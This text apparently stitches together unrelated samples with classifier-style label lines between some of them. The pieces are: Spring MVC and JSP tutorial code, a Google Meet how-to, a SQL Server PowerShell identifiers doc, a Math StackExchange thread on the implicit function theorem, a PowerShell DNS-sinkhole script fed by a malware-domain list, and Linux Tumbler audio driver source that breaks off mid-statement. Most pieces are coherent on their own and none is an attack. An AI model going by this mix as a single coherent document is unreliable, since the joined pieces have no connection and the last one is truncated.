mav.setViewName("test/map"); // 返回的檔案名 // Map Map<String, String> map = new HashMap<String, String>(); map.put("Java", "http://www.netkiller.cn/java"); map.put("PHP", "http://www.netkiller.cn/php"); map.put("Home", "http://www.netkiller.cn"); mav.addObject("channel", map); return mav; } <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Insert title here</title> </head> <body> <c:forEach items="${channel}" var="node"> <a href="<c:out value="${node.value}"></c:out>"><c:out value="${node.key}"></c:out></a> <br/> </c:forEach> </body> </html> 7.1.6.6. 傳遞對象 @RequestMapping("/testObject") public ModelAndView testObject() { ModelMap model = new ModelMap(); User user = new User("neo", "passw0rd"); model.addAttribute("user", user); return new ModelAndView("test/object", model); } package cn.netkiller; public class User { public String username; public String password; public User(String username, String password){ this.username = username; this.password = password; } public String getUsername(){ return this.username; } public String getPassword(){ return this.password; } } <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Insert title here</title> </head> <body> Username: ${user.username}<br> Password: ${user.password}<br> </body> </html> 7.1.6.7.  7.1.7. @Scheduled 計劃任務 @Component @EnableScheduling public class MyTask { @Scheduled(cron="*/3 * * * * *") public void myTaskMethod(){ //do something } } 7.1.8. @CrossOrigin @CrossOrigin(origins = "http://localhost:9000") @GetMapping("/greeting") public Greeting greeting(@RequestParam(required=false, defaultValue="World") String name) { System.out.println("==== in greeting ===="); return new Greeting(counter.incrementAndGet(), String.format(template, name)); } 7.1.9. @SessionAttributes @Controller @SessionAttributes("myRequestObject") public class MyController {   ... } 7.1.10. HttpServletRequest / HttpServletResponse 7.1.10.1. HttpServletResponse HttpServletResponse 實例 package cn.netkiller.api.rest; import com.google.zxing.BarcodeFormat; import com.google.zxing.EncodeHintType; import com.google.zxing.MultiFormatWriter; import com.google.zxing.WriterException; import com.google.zxing.common.BitMatrix; import api.util.MatrixToImageWriter; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.ModelAndView; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.Hashtable; @Controller @RequestMapping("/public/QRCode") public class QRCodeController { private static final Logger log = LoggerFactory.getLogger(QRCodeController.class); @RequestMapping("/create/{code}" ) @ResponseBody public void create(@PathVariable String code, HttpServletResponse httpServletResponse) throws WriterException, IOException { log.info(code); if (code != null && !"".equals(code)){ ServletOutputStream stream = null; try { String text = code; // 二維碼內容 int width = 300; // 二維碼圖片寬度 int height = 300; // 二維碼圖片高度 String format = "gif"; // 二維碼的圖片格式 Hashtable<EncodeHintType, String> hints = new Hashtable<EncodeHintType, String>(); hints.put(EncodeHintType.CHARACTER_SET, "utf-8"); // 內容所使用字符集編碼 BitMatrix bitMatrix = new MultiFormatWriter().encode(text, BarcodeFormat.QR_CODE, width, height, hints); // 生成二維碼 stream = httpServletResponse.getOutputStream(); MatrixToImageWriter.writeToStream(bitMatrix, format, stream); }catch (WriterException e) { e.printStackTrace(); } finally { if (stream != null) { stream.flush(); stream.close(); } } } } @RequestMapping("show") @ResponseBody public ModelAndView show(){ return new ModelAndView("/qrcode/qrcode"); } }
__label__pos
0.548982
Start a Google Meet (New look) Meet.google.com has a new look to start Google Meetings. You now have 3 options from the Google Meet homepage. 1. Create a meeting for later. 2. Start an instant meeting. 3. Schedule in Google Calendar. Create a Meeting for Later If you want to create a meeting for later: 1.  Click New Meeting.  2. Select, create a meeting for later. 3. To share the meeting details with participants for a future meeting, copy the meeting link and share with participants. Note: To directly start the meeting with this link, paste the link into a browser, or enter the link into the “Enter a code or link” field and then click Join. Start an Instant Meeting If you want to start an instant meeting: 1. Click New Meeting.  2. Select, start an instant meeting. 3. The meeting window will open instantly. Schedule in Google Calendar If you want to schedule a meeting in Google Calendar: 1. Click New Meeting.  2. Select,  Schedule in Google Calendar. 3. You will be directed to Google Calendar to create a meeting event.
__label__pos
0.964333
This topic has not yet been rated - Rate this topic SQL Server Identifiers in PowerShell The SQL Server provider for Windows PowerShell uses SQL Server identifiers in Windows PowerShell paths. SQL Server identifiers can contain characters that Windows PowerShell does not support in paths. You must escape these characters or use special encoding for them when using the identifiers in Windows PowerShell paths. Windows PowerShell providers expose data hierarchies using a path structure similar to that used for the Windows file system. The SQL Server provider implements paths to SQL Server objects. For the Database Engine, the drive is set to SQLSERVER:, the first folder is set to \SQL, and the database objects are referenced as containers and items. This is the path to the Vendor table in the Purchasing schema of the AdventureWorks2012 database in a default instance of the Database Engine: SQLSERVER:\SQL\MyComputer\DEFAULT\Databases\AdventureWorks2012\Tables\Purchasing.Vendor SQL Server identifiers are the names of SQL Server objects, such as table or column names. There are two types of SQL Server identifiers: • Regular identifiers are limited to a set of characters that are also supported in Windows PowerShell paths. These names can be used in Windows PowerShell paths without being changed. • Delimited identifiers can use characters not supported in Windows PowerShell path names. Delimited identifiers are called bracketed identifiers if they are enclosed in brackets ([IdentifierName]) and quoted identifiers if they are enclosed in double quotes ("IdentifierName"). If a delimited identifier uses characters not supported in Windows PowerShell paths, the characters must either be encoded or escaped before using the identifier as a container or item name. Encoding works for all characters. Some characters, such as the colon character (:), cannot be escaped. Some SQL Server cmdlets have a parameter that takes an identifier as input. The parameter values are typically supplied as quoted string constants or in string variables. When identifiers are supplied as string constants or in variables, there is no conflict with the set of characters that are supported by Windows PowerShell. Task Description Topic Describes how to specify an instance name, including the name of the computer the instance is running on. Specify Instances in the SQL Server PowerShell Provider Describes how to specify the hexadecimal encoding for characters in delimited identifiers that are not supported in Windows PowerShell paths. Also describes how to decode the hexadecimal characters. Encode and Decode SQL Server Identifiers Describes how to use the Windows PowerShell escape character for characters not supported in PowerShell paths. Escape SQL Server Identifiers Did you find this helpful? (1500 characters remaining) Community Additions ADD © 2013 Microsoft. All rights reserved.
__label__pos
0.571651
Mathematics Stack Exchange is a question and answer site for people studying math at any level and professionals in related fields. Join them; it only takes a minute: Sign up Here's how it works: 1. Anybody can ask a question 2. Anybody can answer 3. The best answers are voted up and rise to the top I watched an ICTP lecture on elementary real analysis & the lecturer went to great pains to emphasize the importance of the intermediate value theorem because it is what generalizes to higher dimensions via connectedness & how Bolzano-Weierstrass generalizes to metric spaces & how just a few results following from these are what really matters. Regardless of how true that is (I think he's biased because he is a functional analyst (analysist?)) I found that bit of intuition & motivation extremely clarifying & I'd read a lot of links, wiki's etc... just looking for that kind of motivation but it was nowhere to be found beforehand. Similarly, I've read a lot about the implicit/inverse function theorems but I just don't understand the reasons for putting so much focus on them, but that's because I don't really know what they are saying & that's partly because I don't understand what you need to know to really appreciate these theorems. I guess what I'm asking for is an insightful & human explanation of what these theories are, what you need to know to lead up to them, why you need to know that certain material & why these things are so powerful (for instance, I believe you can use these to prove the Lagrange Multipliers theorem, though I don't know why it has anything to do with it, I also know that knowing one means you can prove the other & that it doesn't matter which direction you approach from, but again I don't appreciate why that is). I'm more interested in the surrounding theory, i.e. what you need to know, why you need to know that & why it is so important, than what the theorem says so I'd much rather prefer to have the motivation so that I could prove this myself. (Yes I've read the wiki page, the threads on this site, the many articles apparently trying to motivate it, I just feel I haven't read anything that directly quells my aforementioned concerns so I think that justifies the thread). Thanks for your time. share|cite|improve this question The inverse/implicit function theorem tell you when you can (locally) solve a system of equations. This is incredibly important whenever you want to study a nonlinear problem -- e.g. differential geometry, PDE, etc. In the following I will call both of them "implicit function theorem", since they are the same thing, really. Let me give an example: suppose you are in the plane, and want to solve for $x^2 + y^2 = 1$. You found a solution by inspection ($x = 1, y = 0$, say). Let's let $F(x,y) = x^2 + y^2 - 1$. This is $F: \mathbb{R}^2 \to \mathbb{R}$. You have a solution $F(1,0) = 0$ and want to understand $F(x,y) = 0$. The implicit function theorem tells you to consider the derivative $dF(1,0) = (2, 0) \colon \mathbb{R}^2 \to \mathbb{R}$. This linear map is surjective, so the implicit function theorem tells us that there is a small neighbourhood of $(1,0)$ so that if we restrict our attention to this neighbourhood, there is a solution space parameterized by the kernel of the linear map, i.e. by the vertical axis. Furthermore, this describes all the solutions in this neighbourhood, and the solution space is tangent to this line at $(1,0)$. In this example, we have used the implicit function theorem to tell us a lot about the circle. We used it to say that the circle is 1-dimensional (at least near $(1,0)$), that the circle has a vertical tangent at $(1,0)$ and that near $(1,0)$, we don't have any accumulating branches getting closer and closer. (i.e. we have ruled out something pathological like what happens if you take the union of the lines $x = 1/n$ and $x=0$.) This is silly when we know what we are working with so specifically. However, you can use the implicit function theorem to understand much more complicated situations ... e.g. consider $n \times n$ matrices. Look at the matrices in here with determinant $1$. What does that look like? Using the implicit function theorem you can describe at least what it is tangent to at each point, and also that it is a "nice" space the way the circle is a nice space (I am trying to describe what is known as being a submanifold.) Let me give a fancier example. Consider a differential equation $(x',y') = (f(x,y), g(x,y))$. Let's say that there are two rest points $p, q$ and you can find a trajectory connecting them by some method. You may ask yourself if this is the only trajectory connecting the two points. By using the implicit function theorem in infinite dimensions (on a Banach space), you have a tool to approach this problem. Similar methods also sometimes work in studying certain PDE. Often, you can't find a solution by inspection, but you know that the nonlinear problem you want to solve is of the form $F(x) = 0$, where $x$ lives in some suitable space. Still, you can get some mileage from the implicit function theorem in this case. It's much harder, so I will only give details if you are interested. I suspect what I have written has already given enough to think about. Surprisingly, the only thing you need to prove this key result is the understanding of the Banach Contraction Mapping Principle (and a good understanding of the fact that the first derivative at a point $p$ is the best linear map that approximates your nonlinear map near $p$). share|cite|improve this answer These theorems are so fundamentally important because they say what you intuitively think should be true, is actually true. I shall explain this for the implicit function theorem; but you could give similar explanations for the inverse function theorem or for the rank theorem. Assume, e.g., than three physical quantities like $p$, $V$, $T$ are related by a certain law $\Phi(p, V, T)=0$, where the left side is a complicated expression in the variables $p$, $V$, $T$. Counting "degrees of freedom" you have the impression that whenever values are given for two of the three variables the corresponding value of the third variable should be determined, even if you are not able to solve the equation $\Phi(p,V,T)=0$ explicitly for the third variable. That's where the theorem on implicit functions comes in: It not only guarantees under certain hypotheses that the values of, say, $V$ and $T$ determine the value of $p$, but that $p$ is actually a differentiable function $\phi(\cdot,\cdot)$ of $V$ and $T$, and it gives formulas for the partial derivatives ${\partial \phi\over\partial V}$, ${\partial \phi\over\partial T}$ that do not require the solution of $\Phi(p, V, T)=0$ for $p$ in variable terms. Now the implicit function theorem (as well as the other theorems mentioned) is only a local theorem. This means that you need a feasible point $(p_0,V_0,T_0)$ to start with, and the graph of the function $\phi: (V,T)\to p:=\phi(V,T)$ is only defined in a small box with center $(p_0,V_0,T_0)$. In addition there is a certain "technical condition" which I won't explain here. It excludes cases like the equation $x+y^2=0$ which does not define $y$ as a good function of $x$ in the neighborhood of $(0,0)$. share|cite|improve this answer Suppose $f:\mathbb{R}^m\to\mathbb{R}^n$ is a smooth map. Recall that, at any given point $x \in \mathbb{R}^m,$ the derivative of $f$ is a linear map $D_x f: \mathbb{R}^m \to \mathbb{R}^n$ given by $$ D_x f(\vec{v}) = \lim_{t\to 0} \frac{f(x + t \vec{v}) - f(x)}{t}.$$ Recall that, even when $f$ is not invertible, for any given point $y \in \mathbb{R}^n,$ we may still define the preimage $f^{-1}(y)$ to be the set of all points $x \in \mathbb{R}^m$ such that $f(x) = y.$ We say that a point $y \in \mathbb{R}^n$ is a regular point when for every point $x \in f^{-1}(y),$ $D_x f$ has full rank. In particular, if $m > n,$ this implies that $D_x f$ is surjective. Whenever $D_x f$ is surjective, we say that $f$ is a submersion at $x.$ Local Submersion Theorem: If $f$ is a submersion at $x,$ then there are local coordinates $(\tilde{x}_1,\ldots, \tilde{x}_m)$ around $x$ such that $f(\tilde{x}_1,\ldots,\tilde{x}_m) = (\tilde{x}_1,\ldots,\tilde{x}_n).$ Preimage Theorem: If $y \in \mathbb{R}^n$ is a regular point, then $f^{-1}(y)$ is a smooth $(m-n)$-dimensional submanifold of $\mathbb{R}^m.$ That is, $f^{-1}(y)$ is locally homeomorphic (by a smooth invertible map) to $\mathbb{R}^{(m-n)}.$ That is, up close, $f^{-1}(y)$ looks just like $\mathbb{R}^{(m-n)}.$ The proof of the local submersion theorem depends critically upon IFT. In turn, the proof of the preimage theorem depends critically upon the local submersion theorem. Transversality and intersection theory---as given in, for instance, Guillemin and Pollack's classic Differential Topology---depend critically upon the preimage theorem. These tools are very useful; they can be used to prove the Borsuk-Ulam theorem and the fundamental theorem of algebra, and they are essential tools for the development of Lefschetz fixed point theory and the nebula of results called the "Poincare-Hopf index theorem." The Poincare-Hopf index theorem, in turn, is used to prove the general Gauss-Bonnet theorem. share|cite|improve this answer Try the Krantz-Parks book The implicit function theorem: History, theory, and applications. See also What is the Implicit Function Theorem good for? at MO. share|cite|improve this answer      the book is excellent. – Laura Dec 15 '12 at 6:46 Your Answer   discard By posting your answer, you agree to the privacy policy and terms of service.
__label__pos
0.97844
daily pastebin goal 40% SHARE TWEET Untitled a guest Jul 31st, 2016 343 Never Not a member of Pastebin yet? Sign Up, it unlocks many cool features! 1. $log_path = "C:\scripts\logs.txt" 2. $rollback_path = "C:\scripts\" 3. $current_rollback_list_name = "current_roll_back.list" 4. $current_rollback = $rollback_path + $current_rollback_list_name 5. $rollback_date = get-date -format "M_dd_yyyy" 6. $rollback_backup_file = $rollback_path + "rollback_" + $rollback_date + ".list" 7. $tmp_file_holder = "current_list.bk" 8.   9.   10. if(test-path $current_rollback) { 11.     try { 12.     move-item $current_rollback $rollback_backup_file -force 13.     } catch { 14.             echo $_ >> $log_path 15.     } 16. } 17.   18. $domain_list = invoke-webrequest http://mirror1.malwaredomains.com/files/domains.txt | select -expandproperty content 19. $domain_list -replace "`t", ";" -replace ";;" >  $tmp_file_holder 20. $domain_content = get-content $tmp_file_holder 21.   22. $zone_list = get-dnsserverzone | where {$_.IsDsIntegrated -eq $false} | select -expandproperty Zonename 23.   24. foreach($line in $domain_content){ 25.     if(-not($line | select-string "#")) { 26.     $line_tmp = $line -split ";" 27.     $line = $line_tmp[0] 28.         if($zone_list -notcontains $line) { 29.             try { 30.             Add-DnsServerPrimaryZone "$line" -DynamicUpdate "none" -ZoneFile "$line.dns" 31.             } catch { 32.             echo $_ >> $log_path 33.             } 34.         } 35.         echo "$line" | Out-File -FilePath $current_rollback -Encoding ascii -append 36.     } 37. } RAW Paste Data We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand   Top
__label__pos
0.997794
Linux kernel & device driver programming Cross-Referenced Linux and Device Driver Code [ source navigation ] [ diff markup ] [ identifier search ] [ freetext search ] [ file search ] Version: [ 2.6.11.8 ] [ 2.6.25 ] [ 2.6.25.8 ] [ 2.6.31.13 ] Architecture: [ i386 ] 1 /* 2 * PMac Tumbler/Snapper lowlevel functions 3 * 4 * Copyright (c) by Takashi Iwai <[email protected]> 5 * 6 * This program is free software; you can redistribute it and/or modify 7 * it under the terms of the GNU General Public License as published by 8 * the Free Software Foundation; either version 2 of the License, or 9 * (at your option) any later version. 10 * 11 * This program is distributed in the hope that it will be useful, 12 * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 * GNU General Public License for more details. 15 * 16 * You should have received a copy of the GNU General Public License 17 * along with this program; if not, write to the Free Software 18 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 19 * 20 * Rene Rebe <[email protected]>: 21 * * update from shadow registers on wakeup and headphone plug 22 * * automatically toggle DRC on headphone plug 23 * 24 */ 25 26 27 #include <linux/init.h> 28 #include <linux/delay.h> 29 #include <linux/i2c.h> 30 #include <linux/kmod.h> 31 #include <linux/slab.h> 32 #include <linux/interrupt.h> 33 #include <sound/core.h> 34 #include <asm/io.h> 35 #include <asm/irq.h> 36 #include <asm/machdep.h> 37 #include <asm/pmac_feature.h> 38 #include "pmac.h" 39 #include "tumbler_volume.h" 40 41 #undef DEBUG 42 43 #ifdef DEBUG 44 #define DBG(fmt...) printk(fmt) 45 #else 46 #define DBG(fmt...) 47 #endif 48 49 /* i2c address for tumbler */ 50 #define TAS_I2C_ADDR 0x34 51 52 /* registers */ 53 #define TAS_REG_MCS 0x01 /* main control */ 54 #define TAS_REG_DRC 0x02 55 #define TAS_REG_VOL 0x04 56 #define TAS_REG_TREBLE 0x05 57 #define TAS_REG_BASS 0x06 58 #define TAS_REG_INPUT1 0x07 59 #define TAS_REG_INPUT2 0x08 60 61 /* tas3001c */ 62 #define TAS_REG_PCM TAS_REG_INPUT1 63 64 /* tas3004 */ 65 #define TAS_REG_LMIX TAS_REG_INPUT1 66 #define TAS_REG_RMIX TAS_REG_INPUT2 67 #define TAS_REG_MCS2 0x43 /* main control 2 */ 68 #define TAS_REG_ACS 0x40 /* analog control */ 69 70 /* mono volumes for tas3001c/tas3004 */ 71 enum { 72 VOL_IDX_PCM_MONO, /* tas3001c only */ 73 VOL_IDX_BASS, VOL_IDX_TREBLE, 74 VOL_IDX_LAST_MONO 75 }; 76 77 /* stereo volumes for tas3004 */ 78 enum { 79 VOL_IDX_PCM, VOL_IDX_PCM2, VOL_IDX_ADC, 80 VOL_IDX_LAST_MIX 81 }; 82 83 struct pmac_gpio { 84 unsigned int addr; 85 u8 active_val; 86 u8 inactive_val; 87 u8 active_state; 88 }; 89 90 struct pmac_tumbler { 91 struct pmac_keywest i2c; 92 struct pmac_gpio audio_reset; 93 struct pmac_gpio amp_mute; 94 struct pmac_gpio line_mute; 95 struct pmac_gpio line_detect; 96 struct pmac_gpio hp_mute; 97 struct pmac_gpio hp_detect; 98 int headphone_irq; 99 int lineout_irq; 100 unsigned int save_master_vol[2]; 101 unsigned int master_vol[2]; 102 unsigned int save_master_switch[2]; 103 unsigned int master_switch[2]; 104 unsigned int mono_vol[VOL_IDX_LAST_MONO]; 105 unsigned int mix_vol[VOL_IDX_LAST_MIX][2]; /* stereo volumes for tas3004 */ 106 int drc_range; 107 int drc_enable; 108 int capture_source; 109 int anded_reset; 110 int auto_mute_notify; 111 int reset_on_sleep; 112 u8 acs; 113 }; 114 115 116 /* 117 */ 118 119 static int send_init_client(struct pmac_keywest *i2c, unsigned int *regs) 120 { 121 while (*regs > 0) { 122 int err, count = 10; 123 do { 124 err = i2c_smbus_write_byte_data(i2c->client, 125 regs[0], regs[1]); 126 if (err >= 0) 127 break; 128 DBG("(W) i2c error %d\n", err); 129 mdelay(10); 130 } while (count--); 131 if (err < 0) 132 return -ENXIO; 133 regs += 2; 134 } 135 return 0; 136 } 137 138 139 static int tumbler_init_client(struct pmac_keywest *i2c) 140 { 141 static unsigned int regs[] = { 142 /* normal operation, SCLK=64fps, i2s output, i2s input, 16bit width */ 143 TAS_REG_MCS, (1<<6)|(2<<4)|(2<<2)|0, 144 0, /* terminator */ 145 }; 146 DBG("(I) tumbler init client\n"); 147 return send_init_client(i2c, regs); 148 } 149 150 static int snapper_init_client(struct pmac_keywest *i2c) 151 { 152 static unsigned int regs[] = { 153 /* normal operation, SCLK=64fps, i2s output, 16bit width */ 154 TAS_REG_MCS, (1<<6)|(2<<4)|0, 155 /* normal operation, all-pass mode */ 156 TAS_REG_MCS2, (1<<1), 157 /* normal output, no deemphasis, A input, power-up, line-in */ 158 TAS_REG_ACS, 0, 159 0, /* terminator */ 160 }; 161 DBG("(I) snapper init client\n"); 162 return send_init_client(i2c, regs); 163 } 164 165 /* 166 * gpio access 167 */ 168 #define do_gpio_write(gp, val) \ 169 pmac_call_feature(PMAC_FTR_WRITE_GPIO, NULL, (gp)->addr, val) 170 #define do_gpio_read(gp) \ 171 pmac_call_feature(PMAC_FTR_READ_GPIO, NULL, (gp)->addr, 0) 172 #define tumbler_gpio_free(gp) /* NOP */ 173 174 static void write_audio_gpio(struct pmac_gpio *gp, int active) 175 { 176 if (! gp->addr) 177 return; 178 active = active ? gp->active_val : gp->inactive_val; 179 do_gpio_write(gp, active); 180 DBG("(I) gpio %x write %d\n", gp->addr, active); 181 } 182 183 static int check_audio_gpio(struct pmac_gpio *gp) 184 { 185 int ret; 186 187 if (! gp->addr) 188 return 0; 189 190 ret = do_gpio_read(gp); 191 192 return (ret & 0x1) == (gp->active_val & 0x1); 193 } 194 195 static int read_audio_gpio(struct pmac_gpio *gp) 196 { 197 int ret; 198 if (! gp->addr) 199 return 0; 200 ret = do_gpio_read(gp); 201 ret = (ret & 0x02) !=0; 202 return ret == gp->active_state; 203 } 204 205 /* 206 * update master volume 207 */ 208 static int tumbler_set_master_volume(struct pmac_tumbler *mix) 209 { 210 unsigned char block[6]; 211 unsigned int left_vol, right_vol; 212 213 if (! mix->i2c.client) 214 return -ENODEV; 215 216 if (! mix->master_switch[0]) 217 left_vol = 0; 218 else { 219 left_vol = mix->master_vol[0]; 220 if (left_vol >= ARRAY_SIZE(master_volume_table)) 221 left_vol = ARRAY_SIZE(master_volume_table) - 1; 222 left_vol = master_volume_table[left_vol]; 223 } 224 if (! mix->master_switch[1]) 225 right_vol = 0; 226 else { 227 right_vol = mix->master_vol[1]; 228 if (right_vol >= ARRAY_SIZE(master_volume_table)) 229 right_vol = ARRAY_SIZE(master_volume_table) - 1; 230 right_vol = master_volume_table[right_vol]; 231 } 232 233 block[0] = (left_vol >> 16) & 0xff; 234 block[1] = (left_vol >> 8) & 0xff; 235 block[2] = (left_vol >> 0) & 0xff; 236 237 block[3] = (right_vol >> 16) & 0xff; 238 block[4] = (right_vol >> 8) & 0xff; 239 block[5] = (right_vol >> 0) & 0xff; 240 241 if (i2c_smbus_write_i2c_block_data(mix->i2c.client, TAS_REG_VOL, 6, 242 block) < 0) { 243 snd_printk("failed to set volume \n"); 244 return -EINVAL; 245 } 246 return 0; 247 } 248 249 250 /* output volume */ 251 static int tumbler_info_master_volume(struct snd_kcontrol *kcontrol, 252 struct snd_ctl_elem_info *uinfo) 253 { 254 uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER; 255 uinfo->count = 2; 256 uinfo->value.integer.min = 0; 257 uinfo->value.integer.max = ARRAY_SIZE(master_volume_table) - 1; 258 return 0; 259 } 260 261 static int tumbler_get_master_volume(struct snd_kcontrol *kcontrol, 262 struct snd_ctl_elem_value *ucontrol) 263 { 264 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 265 struct pmac_tumbler *mix = chip->mixer_data; 266 snd_assert(mix, return -ENODEV); 267 ucontrol->value.integer.value[0] = mix->master_vol[0]; 268 ucontrol->value.integer.value[1] = mix->master_vol[1]; 269 return 0; 270 } 271 272 static int tumbler_put_master_volume(struct snd_kcontrol *kcontrol, 273 struct snd_ctl_elem_value *ucontrol) 274 { 275 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 276 struct pmac_tumbler *mix = chip->mixer_data; 277 unsigned int vol[2]; 278 int change; 279 280 snd_assert(mix, return -ENODEV); 281 vol[0] = ucontrol->value.integer.value[0]; 282 vol[1] = ucontrol->value.integer.value[1]; 283 if (vol[0] >= ARRAY_SIZE(master_volume_table) || 284 vol[1] >= ARRAY_SIZE(master_volume_table)) 285 return -EINVAL; 286 change = mix->master_vol[0] != vol[0] || 287 mix->master_vol[1] != vol[1]; 288 if (change) { 289 mix->master_vol[0] = vol[0]; 290 mix->master_vol[1] = vol[1]; 291 tumbler_set_master_volume(mix); 292 } 293 return change; 294 } 295 296 /* output switch */ 297 static int tumbler_get_master_switch(struct snd_kcontrol *kcontrol, 298 struct snd_ctl_elem_value *ucontrol) 299 { 300 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 301 struct pmac_tumbler *mix = chip->mixer_data; 302 snd_assert(mix, return -ENODEV); 303 ucontrol->value.integer.value[0] = mix->master_switch[0]; 304 ucontrol->value.integer.value[1] = mix->master_switch[1]; 305 return 0; 306 } 307 308 static int tumbler_put_master_switch(struct snd_kcontrol *kcontrol, 309 struct snd_ctl_elem_value *ucontrol) 310 { 311 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 312 struct pmac_tumbler *mix = chip->mixer_data; 313 int change; 314 315 snd_assert(mix, return -ENODEV); 316 change = mix->master_switch[0] != ucontrol->value.integer.value[0] || 317 mix->master_switch[1] != ucontrol->value.integer.value[1]; 318 if (change) { 319 mix->master_switch[0] = !!ucontrol->value.integer.value[0]; 320 mix->master_switch[1] = !!ucontrol->value.integer.value[1]; 321 tumbler_set_master_volume(mix); 322 } 323 return change; 324 } 325 326 327 /* 328 * TAS3001c dynamic range compression 329 */ 330 331 #define TAS3001_DRC_MAX 0x5f 332 333 static int tumbler_set_drc(struct pmac_tumbler *mix) 334 { 335 unsigned char val[2]; 336 337 if (! mix->i2c.client) 338 return -ENODEV; 339 340 if (mix->drc_enable) { 341 val[0] = 0xc1; /* enable, 3:1 compression */ 342 if (mix->drc_range > TAS3001_DRC_MAX) 343 val[1] = 0xf0; 344 else if (mix->drc_range < 0) 345 val[1] = 0x91; 346 else 347 val[1] = mix->drc_range + 0x91; 348 } else { 349 val[0] = 0; 350 val[1] = 0; 351 } 352 353 if (i2c_smbus_write_i2c_block_data(mix->i2c.client, TAS_REG_DRC, 354 2, val) < 0) { 355 snd_printk("failed to set DRC\n"); 356 return -EINVAL; 357 } 358 return 0; 359 } 360 361 /* 362 * TAS3004 363 */ 364 365 #define TAS3004_DRC_MAX 0xef 366 367 static int snapper_set_drc(struct pmac_tumbler *mix) 368 { 369 unsigned char val[6]; 370 371 if (! mix->i2c.client) 372 return -ENODEV; 373 374 if (mix->drc_enable) 375 val[0] = 0x50; /* 3:1 above threshold */ 376 else 377 val[0] = 0x51; /* disabled */ 378 val[1] = 0x02; /* 1:1 below threshold */ 379 if (mix->drc_range > 0xef) 380 val[2] = 0xef; 381 else if (mix->drc_range < 0) 382 val[2] = 0x00; 383 else 384 val[2] = mix->drc_range; 385 val[3] = 0xb0; 386 val[4] = 0x60; 387 val[5] = 0xa0; 388 389 if (i2c_smbus_write_i2c_block_data(mix->i2c.client, TAS_REG_DRC, 390 6, val) < 0) { 391 snd_printk("failed to set DRC\n"); 392 return -EINVAL; 393 } 394 return 0; 395 } 396 397 static int tumbler_info_drc_value(struct snd_kcontrol *kcontrol, 398 struct snd_ctl_elem_info *uinfo) 399 { 400 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 401 uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER; 402 uinfo->count = 1; 403 uinfo->value.integer.min = 0; 404 uinfo->value.integer.max = 405 chip->model == PMAC_TUMBLER ? TAS3001_DRC_MAX : TAS3004_DRC_MAX; 406 return 0; 407 } 408 409 static int tumbler_get_drc_value(struct snd_kcontrol *kcontrol, 410 struct snd_ctl_elem_value *ucontrol) 411 { 412 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 413 struct pmac_tumbler *mix; 414 if (! (mix = chip->mixer_data)) 415 return -ENODEV; 416 ucontrol->value.integer.value[0] = mix->drc_range; 417 return 0; 418 } 419 420 static int tumbler_put_drc_value(struct snd_kcontrol *kcontrol, 421 struct snd_ctl_elem_value *ucontrol) 422 { 423 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 424 struct pmac_tumbler *mix; 425 unsigned int val; 426 int change; 427 428 if (! (mix = chip->mixer_data)) 429 return -ENODEV; 430 val = ucontrol->value.integer.value[0]; 431 if (chip->model == PMAC_TUMBLER) { 432 if (val > TAS3001_DRC_MAX) 433 return -EINVAL; 434 } else { 435 if (val > TAS3004_DRC_MAX) 436 return -EINVAL; 437 } 438 change = mix->drc_range != val; 439 if (change) { 440 mix->drc_range = val; 441 if (chip->model == PMAC_TUMBLER) 442 tumbler_set_drc(mix); 443 else 444 snapper_set_drc(mix); 445 } 446 return change; 447 } 448 449 static int tumbler_get_drc_switch(struct snd_kcontrol *kcontrol, 450 struct snd_ctl_elem_value *ucontrol) 451 { 452 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 453 struct pmac_tumbler *mix; 454 if (! (mix = chip->mixer_data)) 455 return -ENODEV; 456 ucontrol->value.integer.value[0] = mix->drc_enable; 457 return 0; 458 } 459 460 static int tumbler_put_drc_switch(struct snd_kcontrol *kcontrol, 461 struct snd_ctl_elem_value *ucontrol) 462 { 463 struct snd_pmac *chip = snd_kcontrol_chip(kcontrol); 464 struct pmac_tumbler *mix; 465 int change; 466 467 if (! (mix = chip->mixer_data)) 468 return -ENODEV; 469 change = mix->drc_enable != ucontrol->value.integer.value[0]; 470 if (change) { 471 mix->drc_enable = !!ucontrol->value.integer.value[0]; 472 if (chip->model == PMAC_TUMBLER) 473 tumbler_set_drc(mix); 474 else 475 snapper_set_drc(mix); 476 } 477 return change; 478 } 479 480 481 /* 482 * mono volumes 483 */ 484 485 struct tumbler_mono_vol { 486 int index; 487 int reg; 488 int bytes; 489 unsigned int max; 490 unsigned int *table; 491 }; 492 493 static int tumbler_set_mono_volume(struct pmac_tumbler *mix, 494 struct tumbler_mono_vol *info) 495 { 496 unsigned char block[4]; 497 unsigned int vol; 498 int i; 499 500 if (! mix->i2c.client) 501 return -ENODEV; 502 503 vol = mix->mono_vol[info->index]; 504 if (vol >= info->max) 505 vol = info->max - 1; 506 vol = info->table[vol]; 507 for (i = 0; i < info->bytes; i++) 508 block[i] = (vol >> ((info->bytes - i - 1) * 8)) & 0xff; 509 if (i2c_smbus_write_i2c_block_data(mix->i2c.client, info->reg, 510 